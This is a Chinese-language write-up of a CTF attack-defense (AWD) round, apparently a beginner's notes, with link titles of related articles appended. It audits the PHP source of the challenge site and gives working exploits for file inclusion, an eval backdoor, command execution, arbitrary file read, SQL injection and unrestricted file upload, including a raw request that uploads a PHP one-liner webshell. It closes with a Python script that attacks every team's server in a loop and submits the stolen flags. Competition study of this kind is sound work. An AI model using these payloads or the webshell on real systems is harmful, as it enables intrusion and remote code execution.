##本篇并不完善,只是小白在学习路上的一点记录,望大佬勿喷

一、基础准备工作

1、比赛颁发队伍口令

team1:ctf:a98cea6c2ee6842bc2edcb0bd05e0e59

2、修改当前用户密码

$ passwd
Changing password for ctf.
(current) UNIX password:
Retype new UNIX password:
passwd: password updated successfully

3、打包源码及下载

tar -zcvf /tmp/web.tar.gz /var/www/html/*

这里就直接使用 Mobaxterm 的下载

二、代码审计及分析

1、使用Seay源代码审计系统进行审计

这里发现有10条被检测出来的漏洞,分别进行分析

2、文件包含漏洞

源码

<?php$file=$_GET['file'];include $file;
?>

漏洞利用

http://119.23.75.183:8801/about.php?file=../flag

解决措施

删除或注释掉该部分源码

3、代码执行漏洞

源码

@eval($_REQUEST['c']);

漏洞利用-1

http://119.23.75.183:8801/config.php?c=system(%27cat%20../flag%27);

漏洞利用-2

使用蚁剑连接,可在根目录下查看 flag

解决措施

删除或注释掉该部分源码

4、任意文件读取漏洞

源码

<?phpinclude 'header.php';$file_path = $_GET['path'];if(file_exists($file_path)){$fp = fopen($file_path,"r");$str = fread($fp,filesize($file_path));echo $str = str_replace("\r\n","<br />",$str);
?>

漏洞利用

http://119.23.75.183:8801/contact.php?path=../flag

解决措施

删除或注释掉该部分源码

5、命令执行漏洞

源码

<?php $shell=$_POST['shell'];system($shell);if($shell !=""){exit();}
?>

漏洞利用

curl http://119.23.75.183:8801/footer.php -X POST -d "shell=cat ../flag"
# 这里最好用双引号,单引号可能会出问题

解决措施

删除或注释掉该部分源码

6、SQL注入

源码

<?phpinclude 'header.php';include_once('config.php');if (!empty($_GET['id'])) {$id=$_GET['id'];$query = "SELECT * FROM news WHERE id=$id";$data = mysqli_query($dbc,$query);    }$com = mysqli_fetch_array($data);
?>

漏洞利用

POST /login.php HTTP/1.1
Host: 119.23.75.183:8801
Content-Length: 56
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://119.23.75.183:8801
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://119.23.75.183:8801/login.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=c52b9t80jcjoj271gccfjcpbt5
Connection: closeusername=admin%27+and+1%3D1%23&password=1&button=SIGN-IN
#这里username=admin' and 1=1#,密码随便写

解决措施

这里对可以进行过滤(稍微有点麻烦),或者删除或注释掉该部分源码

7、信息泄露

登录上 admin 用户之后可以很明显看到 flag 就在主页上

源码

<h3>flag:<?php system("cat /flag")?></h3>

漏洞利用

解决措施

删除掉该部分源码

8、文件上传

源码

$error=$_FILES['pic']['error'];
$tmpName=$_FILES['pic']['tmp_name'];
$name=$_FILES['pic']['name'];
$size=$_FILES['pic']['size'];
$type=$_FILES['pic']['type'];
try{if($name!==""){$name1=substr($name,-4);if(is_uploaded_file($tmpName)){$time=time();$rootpath='./upload/'.$time.$name1;$file=fopen($tmpName, "r") or die('No such file!');$content=fread($file, filesize($tmpName));if(strstr($content,'fuck')){exit("<script language='JavaScript'>alert('You should not do this!');window.location='index.php?page=submit'</script>");}if(!move_uploaded_file($tmpName,$rootpath)){echo "<script language='JavaScript'>alert('文件移动失败!');window.location='index.php?page=submit'</script>";exit;}}echo "上传成功:/upload/".$time.$name1;}
}
catch(Exception $e)
{echo "ERROR";
}

漏洞利用

这里可以上传 php 木马或者一句话,使用 Burpsuite 抓包修改即可

POST /admin/upload.php HTTP/1.1
Host: 119.23.75.183:8801
Content-Length: 222
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.182 Safari/537.36
Origin: http://119.23.75.183:8801
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryaAMb3wuwlJOW9all
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://119.23.75.183:8801/admin/index.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=hrhi1iit2iu72r9htbso80ig23
Connection: close------WebKitFormBoundaryaAMb3wuwlJOW9all
Content-Disposition: form-data; name="pic"; filename="1.php"
Content-Type: application/octet-stream<?php @eval($_POST['flag']);?>
------WebKitFormBoundaryaAMb3wuwlJOW9all--

提交过去之后就会得到一个路径

上传成功:/upload/1613702871.php

再加上绝对路径后变成

http://119.23.75.183:8801/admin/upload/1613702582.php

接着使用蚁剑访问,在根目录下获取到 flag

解决措施

注释掉该部分源码

三、批量攻击

攻击脚本

# -*- coding: UTF-8 -*-
# --author:valecalida--
# 2021/2/18 13:24
import requests
from re import search, findall
from time import sleepclass YunnanSimple:def __init__(self):self.url = "http://119.23.75.183:880"self.score = "http://119.23.75.183:8080/score.txt"self.token = "http://119.23.75.183:8080/flag_file.php?token=team1&flag="self.path_1 = "/login.php"self.path_2 = "/about.php?file=../flag"self.path_3 = "/footer.php"self.path_4 = "/config.php?c=system('cat ../flag');"self.path_5 = "/contact.php?path=../flag"self.path_6 = "/index.php?aa=system(%27cat%20../flag%27);"self.flag = []def file_read(self, iface):url = self.url + str(iface) + self.path_5try:res = requests.get(url=url)flag = findall('\w{32}<!-- banner -->', res.text)[0][0:32]print("[+] Team%d 在contact页上预留后门的flag is:%s" % (iface, flag))self.flag.append(flag)except Exception as e:print("\t[-] Got an error as %s in eval_door" % e)def eval_door(self, iface):url = self.url + str(iface) + self.path_6try:res = requests.get(url=url)flag = findall('\w{32}<!-- banner -->', res.text)[0][0:32]print("[+] Team%d 在index主页上预留后门的flag is:%s" % (iface, flag))self.flag.append(flag)except Exception as e:print("\t[-] Got an error as %s in eval_door" % e)def requests_door(self, iface):url = self.url + str(iface) + self.path_4try:res = requests.get(url=url)print("[+] Team%d 的config配置页上的flag is:%s" % (iface, res.text))self.flag.append(res.text)except Exception as e:print("\t[-] Got an error as %s in requests_door" % e)def admin_login(self, iface):url = self.url + str(iface) + self.path_1form = {"username": "admin' or 'a'='a", "password": "1", "button": "SIGN-IN"}try:res = requests.post(url=url, data=form)flag = search(r'<h3>flag:(.*?)</h3>', res.text).group(1)if len(flag) == 32:print("[+] Team%d 的Admin 主页的flag is:%s" % (iface, flag))self.flag.append(flag)except AttributeError:print("\t[-] 怀疑Team%d 的主页信息泄露已被修复!" % iface)except Exception as e:print("\t[-] Got an error as %s in admin_login" % e)def file_inclusion(self, iface):url = self.url + str(iface) + self.path_2try:res = requests.get(url)flag = res.text[0:32]if '-' in flag:print("\t[-] 怀疑Team%d 的文件包含已被修复!" % iface)else:print("[+] Team%d 的文件包含的flag is:%s" % (iface, flag))self.flag.append(flag)except Exception as e:print("\t[-] Got an error as %s in file_inclusion " % e)def command_execution(self, iface):url = self.url + str(iface) + self.path_3try:res = requests.post(url=url, data={'shell': 'cat ../flag'})flag = res.textif len(flag) == 32:print("[+] Team%d 的命令执行的的flag is:%s" % (iface, flag))self.flag.append(flag)else:print("\t[-] 怀疑Team%d 的命令执行已被修复!" % iface)except Exception as e:print("[-] Got an error as %s in command_execution" % e)def submit_flag(self):for i in range(1, 5):self.admin_login(i)self.command_execution(i)self.file_inclusion(i)self.requests_door(i)self.eval_door(i)self.file_read(i)print()self.flag = list(set(self.flag))for flag in self.flag:res = requests.get(url=self.token + str(flag))if res.text == "success":print("[+] Submit flag: %s success! The score has increased!" % flag)elif res.text == "error: no such flag":print("\t[-] Submit flag: %s error, the flag might be fake" % flag)else:print("\t[-] Submit flag error, please check it manually!")def show_score(self):res = requests.get(self.score)score = res.text.split("|")print("==============================")print("\tTeam 1 的分数为:%s " % score[0])print("\tTeam 2 的分数为:%s " % score[1])print("\tTeam 3 的分数为:%s " % score[2])print("\tTeam 4 的分数为:%s " % score[3])print("==============================")if __name__ == '__main__':while True:YunnanSimple().submit_flag()YunnanSimple().show_score()sleep(60)

AWD-Yunnan-Simple_WriteUp相关推荐

  1. awd的批量脚本 pwn_AWD攻防之web入门篇

    前言 AWD(Attack With Defense,攻防兼备)模式是一个非常有意思的模式,你需要在一场比赛里要扮演攻击方和防守方,攻者得分,失守者会被扣分.也就是说,攻击别人的靶机可以获取 Flag ...

  2. 代码审计-四叶草杯线下awd比赛源码web2

    今晚简单来看看那天比赛的源码吧,比赛的时候还是有些慌没有好好去静下心看代码. awd给的题中的漏洞,都是那种可以快速让你利用拿到权限后得到flag的那种,特别复杂利用的一般没有. 建议先黑盒去尝试,例 ...

  3. 记第一次线下AWD感受及复现

    前言: 之前忙于期末复习,没有及时总结当时参赛的感受及复现,这次就来总结一下. 第一次参赛线下AWD感受 由于是第一次参加AWD比赛,各方面经验都不足,在参赛的前几天也是疯狂搜集各种脚本.框架.工具等 ...

  4. python自动化工具_AWD_Hunter, 一个基于Python2.7的AWD自动化工具

    AWD_Hunter, 一个基于Python2.7的AWD自动化工具 免得比赛时手忙脚乱,时间有限,后续或加入自动submit flag什么的 安装依赖库 sudo python -m pip ins ...

  5. awd赛题的flag是什么意思_记一次AWD自动获取flag并提交

    背景 近期部门内搭建了攻防实验平台供大家练习,周末组织了一波AWD练习,之前都是做渗透测试比较多,加之题目比较简单,找到漏洞getshell拿flag都没问题,只不过如果没找到突破口flag都要手动提 ...

  6. 第80天-红蓝对抗-AWD 模式准备攻防监控批量

    思维导图 何为AWD 比赛中每个队伍维护多台服务器,服务器中存在多个漏洞,利用漏洞攻击其他队伍可以 进行得分,修复漏洞可以避免被其他队伍攻击失分. 一般分配Web服务器,服务器(多数为Linux) 某 ...

  7. AWD准备的一些脚本和工具及其使用方法

    目录 赛前准备 代码审计工具 seay源码审计系统 chip 脚本 自动上传不死马 杀不死马 ssh工具 waf 现场操作 结语 最近一段时间去打了一次省赛的线下,虽然体验不怎么好,但有些准备的小东西 ...

  8. 浅谈AWD攻防赛的生存攻略

    AWD 规则 AWD:Attack With Defence,即攻防对抗,比赛中每个队伍维护多台服务器(一般两三台,视小组参赛人数而定),服务器中存在多个漏洞(web层.系统层.中间件层等),利用漏洞 ...

  9. AWD系统加固,系统渗透笔记

    AWD系统加固,系统渗透笔记 由于在内网进行安全加固并不能连接外网所以无法使用最新的更新源只能使用自己系统自带的更新包 首先总结一下ubantu系统加固的套方案 第一步安装并配置好lamp环境 第二步 ...

  10. Web AWD流程与技巧

    Web AWD流程与技巧 AWD平台搭建: http://icepeak.icu/2021/10/16/awd-jian-dan-jie-shao-he-da-jian-awd-ping-tai/ 前 ...

最新文章

  1. 基于点云曲率的图像特征提取方法
  2. Error creating bean with name 'org.springframework.amqp.rabbit.config.ListenerContainerFactoryBean#0
  3. 数据集超越MS COCO,2020智源x旷视Objects365物体检测挑战赛开赛
  4. 理解PeopleSoft集成代理(Integration Broker)-第1部分
  5. 【NLP】一份相当全面的BERT模型精讲
  6. 【小代码讲解】独热编码(One-Hot编码)
  7. 单片机c语言程序设计叶俊明,单片机C语言程序设计
  8. 设计模式必须遵守的六大原则
  9. Linux:CentOS中SFTP工具的使用
  10. Object-C 函数参数语法
  11. 如何看一份DBC文件
  12. Java、JSP网上订餐系统
  13. 怎样在线分解gif图片?如何将gif拆分为静态图片?
  14. 数据单向安全传输方案
  15. comparator 字符串比较大小_Java8 - 使用 Comparator.comparing 进行比较排序
  16. java scavenge_Java垃圾收集器之Parallel Scavenge收集器
  17. 每个架构师都应该了解的理论:康威定律
  18. 南邮数据结构实验1.1:顺序表的相关操作
  19. Opencv实战——OCR文档扫描
  20. C# openfiledialog文件单选和多选

热门文章

  1. pytorch---模型加载与保存(5)使用在不同模型参数下的热启动模式
  2. 以1敌10不是梦,Spring Boot企业级真实应用案例
  3. Oracle DBA手记3:数据库性能优化与内部原理解析
  4. 网上购物与开店赢家随身查
  5. 学嵌入式必须掌握的经验
  6. 1.11 Linux压缩和解压文件
  7. PyTorch:模型训练-分布式训练
  8. python读取第一行设为字典_将csv读入字典,第一行成为名称
  9. 【安装包】apache-tomcat-8.5.45-windows-x64
  10. Azkaban 安装